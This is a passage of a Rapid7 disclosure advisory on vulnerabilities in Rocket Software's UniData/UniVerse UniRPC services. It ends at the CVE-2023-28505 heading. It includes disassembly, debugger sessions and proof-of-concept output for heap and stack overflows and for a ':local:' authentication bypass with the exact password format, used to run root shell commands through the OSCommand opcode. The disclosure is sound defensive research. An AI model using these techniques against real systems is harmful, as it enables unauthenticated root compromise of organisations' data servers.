Last updated at Wed, 27 Dec 2023 14:43:53 GMT

In early 2023, Rapid7 discovered several vulnerabilities in Rocket Software's UniData and UniVerse UniRPC server (and related services) running on the Linux platform. Rapid7 worked with Rocket Software to fix the issues and coordinate this disclosure.

This disclosure will detail a number of different vulnerabilities, including:

  • CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd service
  • CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server service
  • CVE-2023-28503: Authentication bypass in libunidata.so's do_log_on_user() function
  • CVE-2023-28504: Pre-authentication stack buffer overflow in libunidata.so's U_rep_rpc_server_submain()
  • CVE-2023-28505: Post-authentication buffer overflow in libunidata.so's U_get_string_value() function
  • CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave executable
  • CVE-2023-28507: Pre-authentication memory exhaustion in LZ4 decompression in unirpcd service
  • CVE-2023-28508: Post-authentication heap overflow in udsub service
  • CVE-2023-28509: Weak encryption

Note that all of the post-authentication vulnerabilities are exploitable without authenticating due to the authentication bypass documented as CVE-2023-28503, which means all of these are effectively pre-authentication until CVE-2023-28503 is remediated.

Rapid7 initially reported these vulnerabilities to Rocket Software on January 24, 2023. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.

Patches are available to Rocket Software customers, and should be installed as quickly as possible. Rocket Software strongly advises their UniData and UniVerse customers to upgrade to hotfix version 8.2.4.3003, available on Rocket Business Connect.

Product description

We discovered these vulnerabilities while testing UniData for Linux version 8.2.4 (build 3001). The RPC server and some of these services are shared by the UniVerse software stack as well. The vendor confirmed that the following versions are affected:

  • UniData 8.2.4 (and earlier) - patched in 8.2.4 build 3003
  • UniVerse 11.3.5 (and earlier) - patched in 11.3.5 build 1001
  • UniVerse 12.2.1 (and earlier) - patched in 12.2.1 build 2002

We verified that these issues do not affect the Windows version, as the networking stack appears to be different.

Impact

Due to the nature of the applications, we believe that widespread exploitation of these issues is unlikely; these services tend to be found on the back end, and are rarely internet-facing. That being said, the software stack is commonly used by large organizations to store and manage data, so it's possible that these vulnerabilities will be exploited by attackers who have already gained unauthorized access to an organization's network in another way.

Credit

These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

Rocket Software is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Exploitation

We tested the UniRPC network service, which is installed as part of the UniData software package. UniRPC typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (i.e., no special configuration). We created a library called libneptune that implements the protocol, and includes a proof of concept for each issue below. Most proofs of concept will crash the service while reading or executing an illegal memory address, but we created two full Metasploit modules as well, so organizations can more easily evaluate their own risk.

A note on testing

We made a small change to unirpcd for testing, which disables the fork call, which means it only handles a single connection then terminates. That makes debugging much easier, since you don't have to deal with multiple forked processes. We called it unirpcd-oneshot, and will use it for most of our examples. The changes are only a couple bytes, which you can change with a hex editor:

[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd	2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot	2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320  ec ff ff e8 f8 eb ff ff  83 f8 ff 41 89 c6 0f 84  |...........A....|
+00004320  ec ff ff 48 31 c0 90 90  83 f8 ff 41 89 c6 0f 84  |...H1......A....|


Note that this doesn't change how the exploits work at all, it only simplifies testing and demonstration (by not spawning new processes for each connection).

UniRPC Server overview

When UniData is installed, it comes with a service called unirpcd, which is an RPC daemon. The RPC daemon accepts connections, forks new processes, and processes messages sent by the client using a custom binary protocol that we implemented as part of libneptune.

After connecting, a client sends a message to UniRPC that selects which back-end service to execute. The list of available services will probably vary by the application package (we only tested UniData), but they are listed in a file called unirpcservices. The unirpcservices file lists the service names and executables and has options for IP restrictions, protocols, timeouts, and other details:

# cat ~/unidata/unishared/unirpc/unirpcservices 
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600


We tested each of those services, as well as the unirpcd daemon itself. A library — libunidata.so — is shared by all the services. Our results are detailed below.

CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd's packet receive

We discovered a pre-authentication heap overflow issue due to an integer overflow in the UniRPC daemon itself (unirpcd) when receiving the body of an RPC packet in the uvrpc_read_message() function. Successful exploitation can corrupt the heap's data and metadata, and is likely to lead to remote code execution as the root user. Because this is in the RPC daemon itself, it can affect any software package that includes this version of the daemon, irrespective of which RPC services are included.

We wrote a proof of concept to demonstrate this issue in unirpc_heapoverflow_read_body.rb. For the purposes of demonstration, we trick the server into attempting to read from the memory address 0x4141414141414141, which crashes the process. Here is how we ran unirpcd-oneshot in gdb:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6


Then we run the proof-of-concept tool in another window, and see the following in the debugger:

RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194		if (l == l->l_real)


Here's the stack trace, which shows that it crashes in __run_exit_handlers():

(gdb) bt
#0  _dl_fini () at dl-fini.c:194
#1  0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2  0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3  0x0000000000404479 in accept_connection ()
#4  0x0000000000403bd9 in main ()


We can verify that it crashes while trying to read the memory address 0x4141414141414141 by checking the instruction it crashed on:

(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>:	cmp    QWORD PTR [rcx+0x28],rcx

(gdb) print/x $rcx
$1 = 0x4141414141414141


To understand this issue, we have to look at the UniRPC packet header fields (we don't have the official names of this structure, so these are our best guesses):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

The body length argument is a 32-bit signed integer, and must be positive (ie, 0x7FFFFFFF and below). The following code from unirpcd enforces that length restriction:

.text:0000000000407580 41 8B 47 04         mov     eax, [r15+4]    ; Read the 32-bit "size" field from the header into eax
.text:0000000000407584 89 C7               mov     edi, eax
.text:0000000000407586 89 44 24 08         mov     dword ptr [rsp+88h+len], eax ; Save the length to the stack
.text:000000000040758A B8 70 3C 01 00      mov     eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF               test    edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF   jle     return_eax      ; Fail if the length is negative


In that code, the body length is read into the eax register, then validated to ensure it's not negative — the jle opcode jumps if it's less than or equal to zero. If it's negative, it returns the error that we called UNIRPC_ERROR_BAD_RPC_PARAMETER.

A bit later, the following code executes:

.text:000000000040761A 8B 44 24 08         mov     eax, dword ptr [rsp+88h+len] ; Read the 'size' back into eax
.text:000000000040761E 83 C0 17            add     eax, 17h        ; Add 0x17 (23) to the length - this can overflow and go negative!
.text:0000000000407621 3B 05 35 27 24 00   cmp     eax, cs:uvrpc_readbufsiz ; Compare to the size of uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00   jge     expand_read_buf_size ; Jump if we need to expand the buffer


In that snippet, the server adds 0x17 (23) to the length value from earlier and compares it against the global variable uvrpc_readbufsiz, which is 0x2018 (8216) by default. If the length is less than 0x2018, no additional memory is allocated for the buffer. If we chose a very large (but positive) value such as 0x7FFFFFFF, adding 0x17 to it will overflow the integer and the resulting value (0x80000016) is negative (in two's complement, 32-bit values from 0x80000000 to 0xFFFFFFFF are negative). Because a negative value is technically below 0x2018, no additional memory is allocated and the 0x2018-byte buffer is used as-is.

Finally, this code runs to receive the body of the RPC message:

.text:0000000000407631 44 8B 74 24 08     mov     r14d, dword ptr [rsp+88h+len] ; Read the length from the stack
[...]
.text:000000000040768F 44 89 F1           mov     ecx, r14d       ; max_length = len
.text:0000000000407692 E8 09 E6 FF FF     call    uvrpc_readn     ; Receive up to `max_length`


If we put a breakpoint on recv and execute the proof of concept, we can see the recv function trying to receive way too much data into a buffer:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

(gdb) b recv
Breakpoint 1 at 0x402a40

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the proof-of-concept script here ...]

RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking

Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont
Continuing.

Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont


The n argument to __libc_recv is the important part of that snippet. The first time, it tries to receive up to 8216 bytes (that's 0x2018 — the default buffer size). The second time, it attempts to read 2,147,475,455 (0x7FFFDFFF) bytes into a much smaller buffer. recv() will read as much data from the socket as it can, then return; that means that we can overflow the heap buffer exactly as much as we want to, there's no need to send all 0x7FFFDFFF bytes.

This can overwrite other values on the heap, as well as heap metadata, which might lead to remote code execution. While our proof of concept stops short of remote code execution, we believe that this is very likely to be exploitable.

CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server (username and password fields)

We discovered a pair of pre-authentication stack-based buffer overflows in the udadmin_server RPC service (accessed via the service name udadmin or udadmin82), which is exploitable to obtain unauthenticated remote code execution as the root user.

When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After receiving that message and validating that the opcode is correct, the service copies the username into a buffer using a strcpy-like function with no bounds checks (u2strcpy), then copies the password into another buffer using the same dangerous function. The password is then decoded using a function called rpcDecrypt().

Based on the compiled executable, the vulnerable code appears to be in the main function in the source file udadmin.c on lines 803 and 805. Here's the code where the username is copied into a stack buffer:

.text:0000000000408AAC BF 01 00 00 00   mov     edi, 1          ; Argument index (1 = second argument = username)
.text:0000000000408AB1 E8 AA 41 00 00   call    getStringVal    ; Gets a pointer to the string value
.text:0000000000408AB6 48 85 C0         test    rax, rax
.text:0000000000408AB9 49 89 C4         mov     r12, rax        ; <-- r12 = username

[...]

.text:0000000000409098 4C 8D AC 24 30+  lea     r13, [rsp+428h+var_2F8] ; r13 = ptr to stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00   mov     ecx, 323h       ; line = 803
.text:00000000004090AC 4C 89 E6         mov     rsi, r12        ; src = username
.text:00000000004090AF 4C 89 EF         mov     rdi, r13        ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF   call    _u2strcpy       ; Stack overflow #1


That's shortly followed by this code, where the password is copied into a stack buffer:

.text:00000000004090E0 BF 02 00 00 00   mov     edi, 2          ; Argument index (2 = second argument = password)

[...]

.text:00000000004090E7 4C 8D A4 24 70+  lea     r12, [rsp+428h+var_2B8] ; r12 = ptr stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00   call    getStringVal    ; Read the password

.text:00000000004090F4 48 8D 15 7C 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00   mov     ecx, 325h       ; line = 805
.text:0000000000409100 48 89 C6         mov     rsi, rax        ; src = password
.text:0000000000409103 4C 89 E7         mov     rdi, r12        ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF   call    _u2strcpy       ; <-- Stack overflow #2


The password has an additional twist, because it's encoded; the rpcEncrypt function decodes it:

.text:0000000000408B37 4C 89 E7         mov     rdi, r12        ; rdi = password
.text:0000000000408B3A E8 F1 41 00 00   call    rpcEncrypt      ; "Decode" the password by inverting bytes


Functionally, rpcEncrypt negates every byte in the password (binary 0 bits become 1, and 1 bits become 0).

Typically, strcpy()-based overflows are more difficult to exploit, because NUL (\0) bytes terminate strings. That means that including a 64-bit memory address or a ROP chain will fail, because all user-mode addresses are guaranteed to contain NUL bytes, which truncate the resulting string. However, because all bytes in the password string are negated after the strcpy() (using the rpcEncrypt() function), we CAN include NUL bytes. This behavior actually makes it much easier to exploit than it'd otherwise be, since now we only have to avoid bytes that are NUL bytes after negation (ie, 0xFF bytes).

We wrote a proof of concept for this issue that will execute an arbitrary shell command by returning into code that calls the system() function. For example, we can run a shell command that creates a file:

$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
{:header=>
  "l\x01\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>1}]}

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>"test"},
   {:type=>:string,
    :value=>
     "\xBE\xBE[......]\xBE\xBE\xDA\xD1\xBE\xFF\xFF\xFF\xFF\xFF\x94\x96\x93\x93\xDF\xD2\xAB\xBA\xAD\xB2\xDF\xDB\xAF\xAF\xB6\xBB\xDF\xD9\xDF\x8B\x90\x8A\x9C\x97\xDF\xD0\x8B\x92\x8F\xD0\x8C\x8B\x9E\x9C\x94\x90\x89\x9A\x8D\x99\x93\x90\x88\x8B\x9A\x8C\x8B"}]}

Response:
{:header=>
  "l\x01\x00\x02\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>80011, :extra=>4}]}

Payload sent


Then we can verify that the file exists on the target (and is owned by root) to prove that the exploit ran:

[ron@unidata ~]$ ls -l /tmp/stackoverflowtest 
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest


We also wrote a Metasploit module to help organizations validate the impact of this issue.

CVE-2023-28503: Authentication bypass in libunirpc.so's do_log_on_user() function

We discovered an authentication bypass in the do_log_on_user() function in libunidata.so that permits a user to authenticate as any Linux user on the target service using a hard-coded username (:local:) and a deterministic password. This affects most of the services that UniData ships, and leads directly to shell command execution via the udadmin service. Additionally, it allows us to exploit several post-authentication vulnerabilities (detailed below) that would otherwise require a valid account to access.

To demonstrate this vulnerability, we chose the udadmin_server executable (accessed via RPC as the udadmin or udadmin82 service), as it permits authenticated users to execute operating system commands as part of its intended functionality. When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After copying the username and password into stack-based buffers, the password is decoded (by negating each byte), then the username and password field are passed into the impersonate_user function, which is in libunidata.so:

.text:0000000000408B57 48 8D 94 24 00+    lea     rdx, [rsp+428h+var_328] ; arg3
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6           mov     rsi, r12        ; password
.text:0000000000408B62 B9 01 00 00 00     mov     ecx, 1          ; arg4
.text:0000000000408B67 4C 89 EF           mov     rdi, r13        ; username
.text:0000000000408B6A C7 84 24 00 01+    mov     [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF     call    _impersonate_user ; <-- Validate the credentials
.text:0000000000408B7A 85 C0              test    eax, eax
.text:0000000000408B7C 41 89 C4           mov     r12d, eax
.text:0000000000408B7F 74 45              jz      short impersonate_successful ; <-- Jump if successful
.text:0000000000408B81 48 8B 3B           mov     rdi, [rbx]      ; stream
.text:0000000000408B84 48 8D 35 E6 7B+    lea     rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"


The impersonate_user function in libunidata.so is a thin wrapper around do_log_on_user (also found in libunidata.so). At the start of do_log_on_user, it compares the username to the string literal :local:, and jumps to standard PAM-based login code if it's not a match (note that memory addresses of libunidata.so probably will not match yours, since it's compiled as position-independent code and we manually set a base address based on where our lab machine loads the code):

.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>, int, int)
[...]
.text:00007FFFF7312985    lea     rdi, aLocal_1   ; ":local:"
.text:00007FFFF731298C    push    rbx
.text:00007FFFF731298D    mov     rbx, rsi
.text:00007FFFF7312990    mov     rsi, rbp
.text:00007FFFF7312993    sub     rsp, 10h
.text:00007FFFF7312997    repe cmpsb              ; compare "username" to ":local:"
.text:00007FFFF7312999    jnz     short username_not_local ; Jump if they aren't equal


If the username is :local:, the do_log_on_user function splits the password into three fields, using : as a delimiter (which, it turns out, are a username, a Linux user id, and a Linux group id). If the password doesn't contain two colons, the login attempt fails:

.text:00007FFFF731299B    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129A0    mov     rdi, rbx        ; s
.text:00007FFFF73129A3    call    _strchr         ; Find the first ':'
.text:00007FFFF73129A8    test    rax, rax
.text:00007FFFF73129AB    jz      short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD    lea     rbp, [rax+1]    ; rbp = part 2 of password
.text:00007FFFF73129B1    mov     byte ptr [rax], 0
.text:00007FFFF73129B4    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129B9    mov     rdi, rbp        ; s
.text:00007FFFF73129BC    call    _strchr         ; Find the second ':'
.text:00007FFFF73129C1    test    rax, rax
.text:00007FFFF73129C4    jz      short return_error ; Jump if there's no second colon


If the string correctly has three colon-separated fields, the following code executes:

.text:00007FFFF7312A50 loc_7FFFF7312A50:                       ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50    test    rbp, rbp        ; Check the second part of the password
.text:00007FFFF7312A53    jz      return_error
.text:00007FFFF7312A59    xor     esi, esi        ; endptr
.text:00007FFFF7312A5B    mov     rdi, rbp        ; nptr
.text:00007FFFF7312A5E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A63    call    _strtol         ; Convert the second field to an integer
.text:00007FFFF7312A63                            ; (the return value isn't checked, so 0 works)

.text:00007FFFF7312A68    xor     esi, esi        ; endptr
.text:00007FFFF7312A6A    mov     [r12], eax
.text:00007FFFF7312A6E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A73    mov     rdi, r13        ; nptr
.text:00007FFFF7312A76    call    _strtol         ; Convert the third field to an integer
.text:00007FFFF7312A7B    test    eax, eax
.text:00007FFFF7312A7D    mov     rbp, rax
.text:00007FFFF7312A80    jz      return_error    ; Return value cannot be 0

.text:00007FFFF7312A86    mov     rdi, rbx        ; name
.text:00007FFFF7312A89    call    _getpwnam       ; Get the uid for the first field
.text:00007FFFF7312A8E    test    rax, rax
.text:00007FFFF7312A91    jz      return_error    ; The user must exist

.text:00007FFFF7312A97    mov     esi, [r12]
.text:00007FFFF7312A9B    cmp     [rax+10h], esi  ; Compare the uid retrieved by `getpwnam()` with the second field
.text:00007FFFF7312A9E    jnz     return_error    ; Jump if it's not equal

.text:00007FFFF7312AA4    xor     r8d, r8d
.text:00007FFFF7312AA7    mov     ecx, 1
.text:00007FFFF7312AAC    mov     edx, ebp        ; group
.text:00007FFFF7312AAE    mov     rdi, rbx        ; s2
.text:00007FFFF7312AB1    call    _briefReinit    ; Success!


In that code, the library converts the second and third colon-separated fields into integer values. Then it passes the first field (a string) into the getpwnam function, which looks up the username as a local Linux user. If that succeeds, it ensures that second field (an integer) matches the user's user id (uid) value, then simply ensures that the third field, which will be treated as a group id, is non-zero.

In other words, the three colon-separated fields in the password are:

  1. A local username (such as root)
  2. The corresponding user id (such as 0)
  3. Any value that's not 0 (which will be used as a group id when privileges are dropped)

For example, we can use the username :local: with password ron:1000:123 to authenticate as ron on my host, since ron's user id is 1000 and 123 is not 0. Alternatively, the username :local: with password root:0:123 will work on most Linux targets, as root usually has a user id of 0 and 123 is still not 0.

Once that check passes, _briefReinit is called with our user id and group id values. We didn't look into the _briefReinit function, but we observed that it drops the process's privileges to the provided user id and group id values to the ones the user sent, then returns a success code to whatever service is attempting to authorize the user.

From here, we chose the udadmin service as an example target. If we successfully authenticate to udadmin, we can call any of dozens of different functions, each identified by a particular opcode. We chose opcode 6, because it's called OSCommand, which, as the name implies, will run a Linux shell command of the user's choosing:

.text:000000000040B7D4                handle_opcode_6:                        ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B                       mov     rdi, [rbx]      ; stream
.text:000000000040B7D7 48 8D 35 15 50+                lea     rsi, aOpcodeOpcodeDO ; "OpCode: opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00                 mov     edx, 6
.text:000000000040B7E3 31 C0                          xor     eax, eax
.text:000000000040B7E5 E8 16 17 00 00                 call    logMsg
.text:000000000040B7EA BF 01 00 00 00                 mov     edi, 1          ; Get the second parameter
.text:000000000040B7EF 31 C0                          xor     eax, eax
.text:000000000040B7F1 E8 6A 14 00 00                 call    getStringVal    ; Gets the second parameter as a string
.text:000000000040B7F6 48 89 C7                       mov     rdi, rax        ; Argument fromt he user
.text:000000000040B7F9 E8 C2 B8 00 00                 call    UDA_OSCommand   ; Wrapper around "system"
.text:000000000040B7FE E9 07 D5 FF FF                 jmp     loc_408D0A


We wrote a proof of concept that uses this bypass to authenticate as root, then uses OSCommand to execute a chosen command. Like the last vulnerability, we can use it to create a file:

$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>":local:"},
   {:type=>:string, :value=>"\x8D\x90\x90\x8B\xC5\xCF\xC5\xCE\xCD\xCC"}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>6},
   {:type=>:string, :value=>"touch /tmp/authbypassdemo"}]}

Response:
[...]


Then verify that the file is created (and owned by root), and therefore that the command executed:

[ron@unidata ~]$ ls -l /tmp/authbypassdemo 
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo


We also wrote a Metasploit module to help organizations better understand the risk of this issue.

CVE-2023-28504: Pre-authentication stack buffer overflow in libunirpc.so's U_rep_rpc_server_submain() function

We discovered a stack buffer overflow in the function U_rep_rpc_server_submain() in libunidata.so. The overflow occurs when the username and password fields are copied into stack-based buffers using an insecure strcpy-like function (u2strcpy). The U_rep_rpc_server_submain function is used to authenticate users in multiple RPC services, which means it can be exploited through multiple RPC endpoints. If successfully exploited, an attacker can write arbitrary data to the stack, including the return address, leading to pre-authentication remote code execution as the root user.

The vulnerable function (U_rep_rpc_server_submain) is accessible by at least the following API endpoints:

  • repconn (accessed as rmconn82)
  • udsub (accessed as unirep82)

We created a proof of concept for both services — repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These will both crash the process at a debug breakpoint, which demonstrates code execution (note that this payload will only work on the exact versions that we tested; other vulnerable versions will most likely crash with a segmentation fault).

This is the same basic vulnerability as the stack buffer overflow in udadmin_server discussed above (CVE-2023-28502), but in a library function instead of in the RPC service itself. Based on function arguments in the disassembled code, the vulnerable u2strcpy calls appear to be found in the source file rep_rpc.c on lines 693 and 694. Here is the vulnerable code from U_rep_rpc_server_submain() in libunidata.so (note that you'll see different memory addresses than these, since the library is compiled as position-independent, and we chose a base address of where it happened to load in our lab):

.text:00007FFFF728EF68   call    _uvrpc_read_packet ; <-- Reads the login message (username/password)
.text:00007FFFF728EF6D   test    eax, eax
.text:00007FFFF728EF6F   jnz     loc_7FFFF728F025 ; Jump on fail

.text:00007FFFF728EF75   mov     rax, cs:conns
.text:00007FFFF728EF7C   mov     rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84   test    rsi, rsi
.text:00007FFFF728EF87   jz      loc_7FFFF728F02C

.text:00007FFFF728EF8D   lea     r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EF99   mov     ecx, 2B5h       ; Line number = 0x2b5 (693)
.text:00007FFFF728EF9E   lea     r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6   mov     rdi, r14        ; dest
.text:00007FFFF728EFA9   call    _u2strcpy       ; <-- Copy the username (stack overflow)

.text:00007FFFF728EFAE   mov     rax, cs:conns
.text:00007FFFF728EFB5   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EFBC   mov     ecx, 2B6h       ; Line number = 0x2b6 (694)
.text:00007FFFF728EFC1   mov     rdi, r13        ; dest
.text:00007FFFF728EFC4   mov     rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC   call    _u2strcpy       ; <-- Copy the password (stack overflow)


Like the vulnerability we documented in CVE-2023-28502, after being copied into a buffer the password is decoded by negating each byte (although this time the decoding code is inline instead of using rpcEncrypt()):

.text:00007FFFF728EFE0 top_negating_loop:                      ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0    not     edx             ; Negate the current byte
.text:00007FFFF728EFE2    add     rax, 1          ; Go to the next byte
.text:00007FFFF728EFE6    mov     [rax-1], dl     ; Write the negated byte back to the string
.text:00007FFFF728EFE9    movzx   edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC    test    dl, dl          ; Check if we've reached the end
.text:00007FFFF728EFEE    jnz     short top_negating_loop


Again, in most strcpy-like vulnerabilities, NUL bytes will truncate the payload, which makes exploitation much more difficult; however, due to this encoding, we actually can use NUL bytes. We wrote a proof of concept for the repconn service that will cause the application to crash at a debug breakpoint:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()

(gdb) x/i $rip-1
   0x401e6f <main+1343>:	int3


Similarly, the udsub proof of concept will also cause the application to crash at a debug breakpoint, although the address is slightly different:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()

(gdb) x/i $rip-1
   0x402b4b <main+2027>:	int3

\

CVE-2023-28505: Post-authentication buffer overflow in libunidata.so's U_get_string_value() function

